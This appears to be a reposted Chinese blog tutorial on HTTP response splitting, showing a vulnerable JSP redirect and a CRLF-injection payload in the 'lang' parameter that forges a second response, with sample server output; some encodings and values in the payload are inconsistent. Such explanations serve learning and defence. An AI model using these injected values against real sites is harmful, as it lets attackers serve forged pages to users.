HTTP 响应截断攻击

0x01 概念


产生原因:对用户提交的非法字符没有做过滤,主要是CR,LF字符的输入。

实现方法:通过构造request,使服务器返回响应时,将构造的request中数据一并返回,构造的数据可能是一个http响应的数据包,这样服务器就等于返回了两个response。

例如:

Request A -----> web server (R1, R2)

Request B -----> web server (本应该是R3)

web Server(R1) -----> A

web Server (R2) -----> B

0x02 实际例子


页面:/redir_lang.jsp

<% Response.sendRedirect(“/by_lang.jsp lang=”+request.getParameter(“lang”)); %>

当提交english作为参数时,会转到/by_lang.jsp?lang=english,常规的响应如下:
HTTP/1.1 302 Moved Temporarily
Date:Wed,24 Dec 2003 12:53:28 
Location: http://10.1.1.1/by_lang.jsp?lang=english
Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie:    JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-12510119693;path=/  Connection:Close

……………………….略

当提交english时,该输入的数据会传给web服务器,然后web服务器会返回相应的响应,因为该响应是一个跳转响应,所以他会携带输入的内容。所以如果输入的不是english,而是一个http响应包同时通过CR和LF截断数据包,那么就可以为造出来一个页面或者响应。

例如,在request的lang后追加如下内容:

 /redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Shazam</html>
 
服务器返回的数
HTTP/1.1 302 Moved Temporarily
Date:Wed,24 Dec 2003 15:26:41 GMT 
Location: http://10.1.1.1/by_lang.jsp?lang=foobar   
Content-Length:0

HTTP/1.1 200 OK
Content-Type: text/html
Content-length: 1
<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-12510119693;path=/
Connection:Close

第一个响应是真实的跳转响应

第二个响应则是我们构造的一个响应包

还可以构造一个伪造的web页面

request请求:

/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-    Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Shazam</html>

这样服务器对于第一个请求返回:
 HTTP/1.1 302 Moved Temporar
 Date:Wed,24 Dec 2003 15:26:41 GMT 
 Location: http://10.1.1.1/by_lang.jsp?lang=foobar   
 Content-Length:0
对于第二个请求返回:
 HTTP/1.1 200 OK
 Content-Type: text/html
 Content-length: 19

 <html>Shamaz</html>

这样就可以给用户一个伪造的页面。

参考:
https://blog.csdn.net/terryzero/article/details/5886040
https://www.freebuf.com/column/192189.html
http://netsecurity.51cto.com/art/201001/177371_all.htm
https://wenku.baidu.com/view/a8a9aa49fe4733687e21aab9.html?re=view

猜你喜欢

转载自blog.csdn.net/yrx0619/article/details/85330416